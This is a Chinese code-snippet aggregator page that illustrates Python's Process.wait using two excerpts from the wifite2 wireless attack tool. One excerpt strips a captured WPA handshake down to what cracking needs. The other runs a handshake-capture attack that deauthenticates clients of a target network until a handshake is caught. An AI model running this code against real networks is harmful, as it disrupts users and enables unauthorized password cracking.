当前位置: 首页>>代码示例>>Python>>正文


Python Process.wait方法代码示例

本文整理汇总了Python中Process.Process.wait方法的典型用法代码示例。如果您正苦于以下问题:Python Process.wait方法的具体用法?Python Process.wait怎么用?Python Process.wait使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在Process.Process的用法示例。


在下文中一共展示了Process.wait方法的2个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: strip

# 需要导入模块: from Process import Process [as 别名]
# 或者: from Process.Process import wait [as 别名]
    def strip(self, outfile=None):
        # XXX: This method might break aircrack-ng, use at own risk.
        '''
            Strips out packets from handshake that aren't necessary to crack.
            Leaves only handshake packets and SSID broadcast (for discovery).
            Args:
                outfile - Filename to save stripped handshake to.
                          If outfile==None, overwrite existing self.capfile.
        '''
        if not outfile:
            outfile = self.capfile + '.temp'
            replace_existing_file = True
        else:
            replace_existing_file = False

        cmd = [
            'tshark',
            '-r', self.capfile, # input file
            '-R', 'wlan.fc.type_subtype == 0x08 || eapol', # filter
            '-w', outfile # output file
        ]
        proc = Process(cmd)
        proc.wait()
        if replace_existing_file:
            from shutil import copy
            copy(outfile, self.capfile)
            os.remove(outfile)
            pass
开发者ID:j1m1h3ndr1x,项目名称:wifite2,代码行数:30,代码来源:Handshake.py

示例2: run

# 需要导入模块: from Process import Process [as 别名]
# 或者: from Process.Process import wait [as 别名]
    def run(self):
        """
            Initiates full WPA hanshake capture attack.
        """

        # Check if user only wants to run PixieDust attack
        if Configuration.pixie_only and self.target.wps:
            Color.pl("{!} {O}--pixie{R} set, ignoring WPA-handshake attack")
            self.success = False
            return self.success

        # First, start Airodump process
        with Airodump(
            channel=self.target.channel, target_bssid=self.target.bssid, skip_wash=True, output_file_prefix="wpa"
        ) as airodump:

            Color.clear_line()
            Color.p("\r{+} {C}WPA-handshake attack{W}: ")
            Color.p("{O}waiting{W} for target to appear...")
            airodump_target = self.wait_for_target(airodump)

            # Get client station MAC addresses
            clients = [c.station for c in airodump_target.clients]
            client_index = 0

            handshake = None

            time_since_deauth = time.time()

            deauth_proc = None

            while True:
                if not deauth_proc or deauth_proc.poll() != None:
                    # Clear line only if we're not deauthing right now
                    Color.p("\r%s\r" % (" " * 90))
                Color.p("\r{+} {C}WPA-handshake attack{W}: ")
                Color.p("waiting for {C}handshake{W}...")

                time.sleep(1)

                # Find .cap file
                cap_files = airodump.find_files(endswith=".cap")
                if len(cap_files) == 0:
                    # No cap files yet
                    continue
                cap_file = cap_files[0]

                # Copy .cap file to temp for consistency
                temp_file = Configuration.temp("handshake.cap.bak")
                copy(cap_file, temp_file)

                # Check cap file in temp for Handshake
                bssid = airodump_target.bssid
                essid = None
                if airodump_target.essid_known:
                    essid = airodump_target.essid
                handshake = Handshake(temp_file, bssid=bssid, essid=essid)
                if handshake.has_handshake():
                    # We got a handshake
                    Color.pl("\n\n{+} {G}successfully captured handshake{W}")
                    break

                # There is no handshake
                handshake = None
                # Delete copied .cap file in temp to save space
                os.remove(temp_file)

                # Check status of deauth process
                if deauth_proc and deauth_proc.poll() == None:
                    # Deauth process is still running
                    time_since_deauth = time.time()

                # Look for new clients
                airodump_target = self.wait_for_target(airodump)
                for client in airodump_target.clients:
                    if client.station not in clients:
                        Color.pl("\r{+} discovered {G}client{W}:" + " {C}%s{W}%s" % (client.station, " " * 10))
                        clients.append(client.station)

                # Send deauth to a client or broadcast
                if time.time() - time_since_deauth > Configuration.wpa_deauth_timeout:
                    # We are N seconds since last deauth was sent,
                    # And the deauth process is not running.
                    if len(clients) == 0 or client_index >= len(clients):
                        deauth_proc = self.deauth(bssid)
                        client_index = 0
                    else:
                        client = clients[client_index]
                        deauth_proc = self.deauth(bssid, client)
                        client_index += 1
                    time_since_deauth = time.time()
                continue

            # Stop the deauth process if needed
            if deauth_proc and deauth_proc.poll() == None:
                deauth_proc.interrupt()

            if not handshake:
                # No handshake, attack failed.
                self.success = False
#.........这里部分代码省略.........
开发者ID:Andrey-Omelyanuk,项目名称:wifite2,代码行数:103,代码来源:AttackWPA.py


注:本文中的Process.Process.wait方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。